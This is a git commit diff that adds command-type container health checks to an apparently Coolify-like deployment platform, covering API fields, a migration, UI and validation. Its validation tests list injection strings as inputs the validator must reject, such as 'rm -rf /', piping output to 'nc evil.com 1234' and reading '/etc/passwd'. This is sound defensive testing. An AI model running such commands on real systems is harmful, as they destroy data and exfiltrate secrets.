feat(healthcheck): add command-based health check support (#8612)
This commit is contained in:
commit
c93296e9a6
14 changed files with 804 additions and 20 deletions
|
|
@ -1002,7 +1002,7 @@ private function create_application(Request $request, $type)
|
|||
if ($return instanceof \Illuminate\Http\JsonResponse) {
|
||||
return $return;
|
||||
}
|
||||
$allowedFields = ['project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'type', 'name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'private_key_uuid', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'redirect', 'github_app_uuid', 'instant_deploy', 'dockerfile', 'dockerfile_location', 'docker_compose_location', 'docker_compose_raw', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'watch_paths', 'use_build_server', 'static_image', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'autogenerate_domain', 'is_container_label_escape_enabled'];
|
||||
$allowedFields = ['project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'type', 'name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'private_key_uuid', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'redirect', 'github_app_uuid', 'instant_deploy', 'dockerfile', 'dockerfile_location', 'docker_compose_location', 'docker_compose_raw', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'watch_paths', 'use_build_server', 'static_image', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'autogenerate_domain', 'is_container_label_escape_enabled'];
|
||||
|
||||
$validator = customApiValidator($request->all(), [
|
||||
'name' => 'string|max:255',
|
||||
|
|
@ -2460,7 +2460,7 @@ public function update_by_uuid(Request $request)
|
|||
$this->authorize('update', $application);
|
||||
|
||||
$server = $application->destination->server;
|
||||
$allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled'];
|
||||
$allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled'];
|
||||
|
||||
$validationRules = [
|
||||
'name' => 'string|max:255',
|
||||
|
|
|
|||
|
|
@ -1810,7 +1810,8 @@ private function health_check()
|
|||
$counter = 1;
|
||||
$this->application_deployment_queue->addLogEntry('Waiting for healthcheck to pass on the new container.');
|
||||
if ($this->full_healthcheck_url && ! $this->application->custom_healthcheck_found) {
|
||||
$this->application_deployment_queue->addLogEntry("Healthcheck URL (inside the container): {$this->full_healthcheck_url}");
|
||||
$healthcheckLabel = $this->application->health_check_type === 'cmd' ? 'Healthcheck command' : 'Healthcheck URL';
|
||||
$this->application_deployment_queue->addLogEntry("{$healthcheckLabel} (inside the container): {$this->full_healthcheck_url}");
|
||||
}
|
||||
$this->application_deployment_queue->addLogEntry("Waiting for the start period ({$this->application->health_check_start_period} seconds) before starting healthcheck.");
|
||||
$sleeptime = 0;
|
||||
|
|
@ -2768,6 +2769,14 @@ private function generate_local_persistent_volumes_only_volume_names()
|
|||
|
||||
private function generate_healthcheck_commands()
|
||||
{
|
||||
// Handle CMD type healthcheck
|
||||
if ($this->application->health_check_type === 'cmd' && ! empty($this->application->health_check_command)) {
|
||||
$this->full_healthcheck_url = $this->application->health_check_command;
|
||||
|
||||
return $this->application->health_check_command;
|
||||
}
|
||||
|
||||
// HTTP type healthcheck (default)
|
||||
if (! $this->application->health_check_port) {
|
||||
$health_check_port = (int) $this->application->ports_exposes_array[0];
|
||||
} else {
|
||||
|
|
|
|||
|
|
@ -16,6 +16,12 @@ class HealthChecks extends Component
|
|||
#[Validate(['boolean'])]
|
||||
public bool $healthCheckEnabled = false;
|
||||
|
||||
#[Validate(['string', 'in:http,cmd'])]
|
||||
public string $healthCheckType = 'http';
|
||||
|
||||
#[Validate(['nullable', 'required_if:healthCheckType,cmd', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'])]
|
||||
public ?string $healthCheckCommand = null;
|
||||
|
||||
#[Validate(['required', 'string', 'in:GET,HEAD,POST,OPTIONS'])]
|
||||
public string $healthCheckMethod;
|
||||
|
||||
|
|
@ -54,6 +60,8 @@ class HealthChecks extends Component
|
|||
|
||||
protected $rules = [
|
||||
'healthCheckEnabled' => 'boolean',
|
||||
'healthCheckType' => 'string|in:http,cmd',
|
||||
'healthCheckCommand' => ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'],
|
||||
'healthCheckPath' => ['required', 'string', 'regex:#^[a-zA-Z0-9/\-_.~%]+$#'],
|
||||
'healthCheckPort' => 'nullable|integer|min:1|max:65535',
|
||||
'healthCheckHost' => ['required', 'string', 'regex:/^[a-zA-Z0-9.\-_]+$/'],
|
||||
|
|
@ -81,6 +89,8 @@ public function syncData(bool $toModel = false): void
|
|||
|
||||
// Sync to model
|
||||
$this->resource->health_check_enabled = $this->healthCheckEnabled;
|
||||
$this->resource->health_check_type = $this->healthCheckType;
|
||||
$this->resource->health_check_command = $this->healthCheckCommand;
|
||||
$this->resource->health_check_method = $this->healthCheckMethod;
|
||||
$this->resource->health_check_scheme = $this->healthCheckScheme;
|
||||
$this->resource->health_check_host = $this->healthCheckHost;
|
||||
|
|
@ -98,6 +108,8 @@ public function syncData(bool $toModel = false): void
|
|||
} else {
|
||||
// Sync from model
|
||||
$this->healthCheckEnabled = $this->resource->health_check_enabled;
|
||||
$this->healthCheckType = $this->resource->health_check_type ?? 'http';
|
||||
$this->healthCheckCommand = $this->resource->health_check_command;
|
||||
$this->healthCheckMethod = $this->resource->health_check_method;
|
||||
$this->healthCheckScheme = $this->resource->health_check_scheme;
|
||||
$this->healthCheckHost = $this->resource->health_check_host;
|
||||
|
|
@ -116,9 +128,12 @@ public function syncData(bool $toModel = false): void
|
|||
public function instantSave()
|
||||
{
|
||||
$this->authorize('update', $this->resource);
|
||||
$this->validate();
|
||||
|
||||
// Sync component properties to model
|
||||
$this->resource->health_check_enabled = $this->healthCheckEnabled;
|
||||
$this->resource->health_check_type = $this->healthCheckType;
|
||||
$this->resource->health_check_command = $this->healthCheckCommand;
|
||||
$this->resource->health_check_method = $this->healthCheckMethod;
|
||||
$this->resource->health_check_scheme = $this->healthCheckScheme;
|
||||
$this->resource->health_check_host = $this->healthCheckHost;
|
||||
|
|
@ -143,6 +158,8 @@ public function submit()
|
|||
|
||||
// Sync component properties to model
|
||||
$this->resource->health_check_enabled = $this->healthCheckEnabled;
|
||||
$this->resource->health_check_type = $this->healthCheckType;
|
||||
$this->resource->health_check_command = $this->healthCheckCommand;
|
||||
$this->resource->health_check_method = $this->healthCheckMethod;
|
||||
$this->resource->health_check_scheme = $this->healthCheckScheme;
|
||||
$this->resource->health_check_host = $this->healthCheckHost;
|
||||
|
|
@ -171,6 +188,8 @@ public function toggleHealthcheck()
|
|||
|
||||
// Sync component properties to model
|
||||
$this->resource->health_check_enabled = $this->healthCheckEnabled;
|
||||
$this->resource->health_check_type = $this->healthCheckType;
|
||||
$this->resource->health_check_command = $this->healthCheckCommand;
|
||||
$this->resource->health_check_method = $this->healthCheckMethod;
|
||||
$this->resource->health_check_scheme = $this->healthCheckScheme;
|
||||
$this->resource->health_check_host = $this->healthCheckHost;
|
||||
|
|
|
|||
|
|
@ -61,6 +61,8 @@
|
|||
'health_check_timeout' => ['type' => 'integer', 'description' => 'Health check timeout in seconds.'],
|
||||
'health_check_retries' => ['type' => 'integer', 'description' => 'Health check retries count.'],
|
||||
'health_check_start_period' => ['type' => 'integer', 'description' => 'Health check start period in seconds.'],
|
||||
'health_check_type' => ['type' => 'string', 'description' => 'Health check type: http or cmd.', 'enum' => ['http', 'cmd']],
|
||||
'health_check_command' => ['type' => 'string', 'nullable' => true, 'description' => 'Health check command for CMD type.'],
|
||||
'limits_memory' => ['type' => 'string', 'description' => 'Memory limit.'],
|
||||
'limits_memory_swap' => ['type' => 'string', 'description' => 'Memory swap limit.'],
|
||||
'limits_memory_swappiness' => ['type' => 'integer', 'description' => 'Memory swappiness.'],
|
||||
|
|
|
|||
|
|
@ -104,6 +104,8 @@ function sharedDataApplications()
|
|||
'base_directory' => 'string|nullable',
|
||||
'publish_directory' => 'string|nullable',
|
||||
'health_check_enabled' => 'boolean',
|
||||
'health_check_type' => 'string|in:http,cmd',
|
||||
'health_check_command' => ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'],
|
||||
'health_check_path' => ['string', 'regex:#^[a-zA-Z0-9/\-_.~%]+$#'],
|
||||
'health_check_port' => 'integer|nullable|min:1|max:65535',
|
||||
'health_check_host' => ['string', 'regex:/^[a-zA-Z0-9.\-_]+$/'],
|
||||
|
|
|
|||
|
|
@ -0,0 +1,44 @@
|
|||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
/**
|
||||
* Run the migrations.
|
||||
*/
|
||||
public function up(): void
|
||||
{
|
||||
if (! Schema::hasColumn('applications', 'health_check_type')) {
|
||||
Schema::table('applications', function (Blueprint $table) {
|
||||
$table->text('health_check_type')->default('http')->after('health_check_enabled');
|
||||
});
|
||||
}
|
||||
|
||||
if (! Schema::hasColumn('applications', 'health_check_command')) {
|
||||
Schema::table('applications', function (Blueprint $table) {
|
||||
$table->text('health_check_command')->nullable()->after('health_check_type');
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Reverse the migrations.
|
||||
*/
|
||||
public function down(): void
|
||||
{
|
||||
if (Schema::hasColumn('applications', 'health_check_type')) {
|
||||
Schema::table('applications', function (Blueprint $table) {
|
||||
$table->dropColumn('health_check_type');
|
||||
});
|
||||
}
|
||||
|
||||
if (Schema::hasColumn('applications', 'health_check_command')) {
|
||||
Schema::table('applications', function (Blueprint $table) {
|
||||
$table->dropColumn('health_check_command');
|
||||
});
|
||||
}
|
||||
}
|
||||
};
|
||||
13
openapi.json
13
openapi.json
|
|
@ -11024,6 +11024,19 @@
|
|||
"type": "integer",
|
||||
"description": "Health check start period in seconds."
|
||||
},
|
||||
"health_check_type": {
|
||||
"type": "string",
|
||||
"description": "Health check type: http or cmd.",
|
||||
"enum": [
|
||||
"http",
|
||||
"cmd"
|
||||
]
|
||||
},
|
||||
"health_check_command": {
|
||||
"type": "string",
|
||||
"nullable": true,
|
||||
"description": "Health check command for CMD type."
|
||||
},
|
||||
"limits_memory": {
|
||||
"type": "string",
|
||||
"description": "Memory limit."
|
||||
|
|
|
|||
10
openapi.yaml
10
openapi.yaml
|
|
@ -6960,6 +6960,16 @@ components:
|
|||
health_check_start_period:
|
||||
type: integer
|
||||
description: 'Health check start period in seconds.'
|
||||
health_check_type:
|
||||
type: string
|
||||
description: 'Health check type: http or cmd.'
|
||||
enum:
|
||||
- http
|
||||
- cmd
|
||||
health_check_command:
|
||||
type: string
|
||||
nullable: true
|
||||
description: 'Health check command for CMD type.'
|
||||
limits_memory:
|
||||
type: string
|
||||
description: 'Memory limit.'
|
||||
|
|
|
|||
|
|
@ -20,6 +20,17 @@
|
|||
<p>A custom health check has been detected. If you enable this health check, it will disable the custom one and use this instead.</p>
|
||||
</x-callout>
|
||||
@endif
|
||||
|
||||
{{-- Healthcheck Type Selector --}}
|
||||
<div class="flex gap-2">
|
||||
<x-forms.select canGate="update" :canResource="$resource" id="healthCheckType" label="Type" required wire:model.live="healthCheckType">
|
||||
<option value="http">HTTP</option>
|
||||
<option value="cmd">CMD</option>
|
||||
</x-forms.select>
|
||||
</div>
|
||||
|
||||
@if ($healthCheckType === 'http')
|
||||
{{-- HTTP Healthcheck Fields --}}
|
||||
<div class="flex gap-2">
|
||||
<x-forms.select canGate="update" :canResource="$resource" id="healthCheckMethod" label="Method" required>
|
||||
<option value="GET">GET</option>
|
||||
|
|
@ -39,6 +50,21 @@
|
|||
required />
|
||||
<x-forms.input canGate="update" :canResource="$resource" id="healthCheckResponseText" placeholder="OK" label="Response Text" />
|
||||
</div>
|
||||
@else
|
||||
{{-- CMD Healthcheck Fields --}}
|
||||
<x-callout type="warning" title="Caution">
|
||||
<p>This command runs inside the container on every health check interval. Shell operators (;, |, &, $, >, <) are not allowed.</p>
|
||||
</x-callout>
|
||||
<div class="flex flex-col gap-2">
|
||||
<x-forms.input canGate="update" :canResource="$resource" id="healthCheckCommand"
|
||||
label="Command"
|
||||
placeholder="pg_isready -U postgres"
|
||||
helper="A simple command to run inside the container. Must exit with code 0 on success. Shell operators like ;, |, &&, $() are not allowed."
|
||||
:required="$healthCheckType === 'cmd'" />
|
||||
</div>
|
||||
@endif
|
||||
|
||||
{{-- Common timing fields (used by both types) --}}
|
||||
<div class="flex gap-2">
|
||||
<x-forms.input canGate="update" :canResource="$resource" min="1" type="number" id="healthCheckInterval" placeholder="30"
|
||||
label="Interval (s)" required />
|
||||
|
|
|
|||
120
tests/Feature/ApplicationHealthCheckApiTest.php
Normal file
120
tests/Feature/ApplicationHealthCheckApiTest.php
Normal file
|
|
@ -0,0 +1,120 @@
|
|||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Visus\Cuid2\Cuid2;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->token = $this->user->createToken('test-token', ['*']);
|
||||
$this->bearerToken = $this->token->plainTextToken;
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
|
||||
StandaloneDocker::withoutEvents(function () {
|
||||
$this->destination = StandaloneDocker::firstOrCreate(
|
||||
['server_id' => $this->server->id, 'network' => 'coolify'],
|
||||
['uuid' => (string) new Cuid2, 'name' => 'test-docker']
|
||||
);
|
||||
});
|
||||
|
||||
$this->project = Project::create([
|
||||
'uuid' => (string) new Cuid2,
|
||||
'name' => 'test-project',
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
// Project boot event auto-creates a 'production' environment
|
||||
$this->environment = $this->project->environments()->first();
|
||||
|
||||
$this->application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
});
|
||||
|
||||
function healthCheckAuthHeaders($bearerToken): array
|
||||
{
|
||||
return [
|
||||
'Authorization' => 'Bearer '.$bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
];
|
||||
}
|
||||
|
||||
describe('PATCH /api/v1/applications/{uuid} health check fields', function () {
|
||||
test('can update health_check_type to cmd with a command', function () {
|
||||
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$this->application->uuid}", [
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => 'pg_isready -U postgres',
|
||||
]);
|
||||
|
||||
$response->assertOk();
|
||||
|
||||
$this->application->refresh();
|
||||
expect($this->application->health_check_type)->toBe('cmd');
|
||||
expect($this->application->health_check_command)->toBe('pg_isready -U postgres');
|
||||
});
|
||||
|
||||
test('can update health_check_type back to http', function () {
|
||||
$this->application->update([
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => 'redis-cli ping',
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$this->application->uuid}", [
|
||||
'health_check_type' => 'http',
|
||||
'health_check_command' => null,
|
||||
]);
|
||||
|
||||
$response->assertOk();
|
||||
|
||||
$this->application->refresh();
|
||||
expect($this->application->health_check_type)->toBe('http');
|
||||
expect($this->application->health_check_command)->toBeNull();
|
||||
});
|
||||
|
||||
test('rejects invalid health_check_type', function () {
|
||||
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$this->application->uuid}", [
|
||||
'health_check_type' => 'exec',
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
|
||||
test('rejects health_check_command with shell operators', function () {
|
||||
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$this->application->uuid}", [
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => 'pg_isready; rm -rf /',
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
|
||||
test('rejects health_check_command over 1000 characters', function () {
|
||||
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$this->application->uuid}", [
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => str_repeat('a', 1001),
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
});
|
||||
90
tests/Feature/CmdHealthCheckValidationTest.php
Normal file
90
tests/Feature/CmdHealthCheckValidationTest.php
Normal file
|
|
@ -0,0 +1,90 @@
|
|||
<?php
|
||||
|
||||
use Illuminate\Support\Facades\Validator;
|
||||
|
||||
$commandRules = ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'];
|
||||
|
||||
it('rejects healthCheckCommand over 1000 characters', function () use ($commandRules) {
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => str_repeat('a', 1001)],
|
||||
['healthCheckCommand' => $commandRules]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
it('accepts healthCheckCommand under 1000 characters', function () use ($commandRules) {
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => 'pg_isready -U postgres'],
|
||||
['healthCheckCommand' => $commandRules]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
});
|
||||
|
||||
it('accepts null healthCheckCommand', function () use ($commandRules) {
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => null],
|
||||
['healthCheckCommand' => $commandRules]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
});
|
||||
|
||||
it('accepts simple commands', function ($command) use ($commandRules) {
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => $command],
|
||||
['healthCheckCommand' => $commandRules]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with([
|
||||
'pg_isready -U postgres',
|
||||
'redis-cli ping',
|
||||
'curl -f http://localhost:8080/health',
|
||||
'wget -q -O- http://localhost/health',
|
||||
'mysqladmin ping -h 127.0.0.1',
|
||||
]);
|
||||
|
||||
it('rejects commands with shell operators', function ($command) use ($commandRules) {
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => $command],
|
||||
['healthCheckCommand' => $commandRules]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
})->with([
|
||||
'pg_isready; rm -rf /',
|
||||
'redis-cli ping | nc evil.com 1234',
|
||||
'curl http://localhost && curl http://evil.com',
|
||||
'echo $(whoami)',
|
||||
'cat /etc/passwd > /tmp/out',
|
||||
'curl `whoami`.evil.com',
|
||||
'cmd & background',
|
||||
'echo "hello"',
|
||||
"echo 'hello'",
|
||||
'test < /etc/passwd',
|
||||
'bash -c {echo,pwned}',
|
||||
'curl http://evil.com#comment',
|
||||
'echo $HOME',
|
||||
"cmd\twith\ttabs",
|
||||
"cmd\nwith\nnewlines",
|
||||
]);
|
||||
|
||||
it('rejects invalid healthCheckType', function () {
|
||||
$validator = Validator::make(
|
||||
['healthCheckType' => 'exec'],
|
||||
['healthCheckType' => 'string|in:http,cmd']
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
it('accepts valid healthCheckType values', function ($type) {
|
||||
$validator = Validator::make(
|
||||
['healthCheckType' => $type],
|
||||
['healthCheckType' => 'string|in:http,cmd']
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with(['http', 'cmd']);
|
||||
|
|
@ -165,12 +165,69 @@
|
|||
expect($validator->fails())->toBeFalse();
|
||||
});
|
||||
|
||||
it('generates CMD healthcheck command directly', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => 'pg_isready -U postgres',
|
||||
]);
|
||||
|
||||
expect($result)->toBe('pg_isready -U postgres');
|
||||
});
|
||||
|
||||
it('strips newlines from CMD healthcheck command', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => "redis-cli ping\n&& echo pwned",
|
||||
]);
|
||||
|
||||
expect($result)->not->toContain("\n")
|
||||
->and($result)->toBe('redis-cli ping && echo pwned');
|
||||
});
|
||||
|
||||
it('falls back to HTTP healthcheck when CMD type has empty command', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => '',
|
||||
]);
|
||||
|
||||
// Should fall through to HTTP path
|
||||
expect($result)->toContain('curl -s -X');
|
||||
});
|
||||
|
||||
it('validates healthCheckCommand rejects strings over 1000 characters', function () {
|
||||
$rules = [
|
||||
'healthCheckCommand' => 'nullable|string|max:1000',
|
||||
];
|
||||
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => str_repeat('a', 1001)],
|
||||
$rules
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
it('validates healthCheckCommand accepts strings under 1000 characters', function () {
|
||||
$rules = [
|
||||
'healthCheckCommand' => 'nullable|string|max:1000',
|
||||
];
|
||||
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => 'pg_isready -U postgres'],
|
||||
$rules
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
});
|
||||
|
||||
/**
|
||||
* Helper: Invokes the private generate_healthcheck_commands() method via reflection.
|
||||
*/
|
||||
function callGenerateHealthcheckCommands(array $overrides = []): string
|
||||
{
|
||||
$defaults = [
|
||||
'health_check_type' => 'http',
|
||||
'health_check_command' => null,
|
||||
'health_check_method' => 'GET',
|
||||
'health_check_scheme' => 'http',
|
||||
'health_check_host' => 'localhost',
|
||||
|
|
@ -182,6 +239,8 @@ function callGenerateHealthcheckCommands(array $overrides = []): string
|
|||
$values = array_merge($defaults, $overrides);
|
||||
|
||||
$application = Mockery::mock(Application::class)->makePartial();
|
||||
$application->shouldReceive('getAttribute')->with('health_check_type')->andReturn($values['health_check_type']);
|
||||
$application->shouldReceive('getAttribute')->with('health_check_command')->andReturn($values['health_check_command']);
|
||||
$application->shouldReceive('getAttribute')->with('health_check_method')->andReturn($values['health_check_method']);
|
||||
$application->shouldReceive('getAttribute')->with('health_check_scheme')->andReturn($values['health_check_scheme']);
|
||||
$application->shouldReceive('getAttribute')->with('health_check_host')->andReturn($values['health_check_host']);
|
||||
|
|
|
|||
227
tests/Unit/Policies/GithubAppPolicyTest.php
Normal file
227
tests/Unit/Policies/GithubAppPolicyTest.php
Normal file
|
|
@ -0,0 +1,227 @@
|
|||
<?php
|
||||
|
||||
use App\Models\User;
|
||||
use App\Policies\GithubAppPolicy;
|
||||
|
||||
it('allows any user to view any github apps', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->viewAny($user))->toBeTrue();
|
||||
});
|
||||
|
||||
it('allows any user to view system-wide github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = true;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->view($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('allows team member to view non-system-wide github app', function () {
|
||||
$teams = collect([
|
||||
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
|
||||
]);
|
||||
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = false;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->view($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies non-team member to view non-system-wide github app', function () {
|
||||
$teams = collect([
|
||||
(object) ['id' => 2, 'pivot' => (object) ['role' => 'member']],
|
||||
]);
|
||||
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = false;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->view($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows admin to create github app', function () {
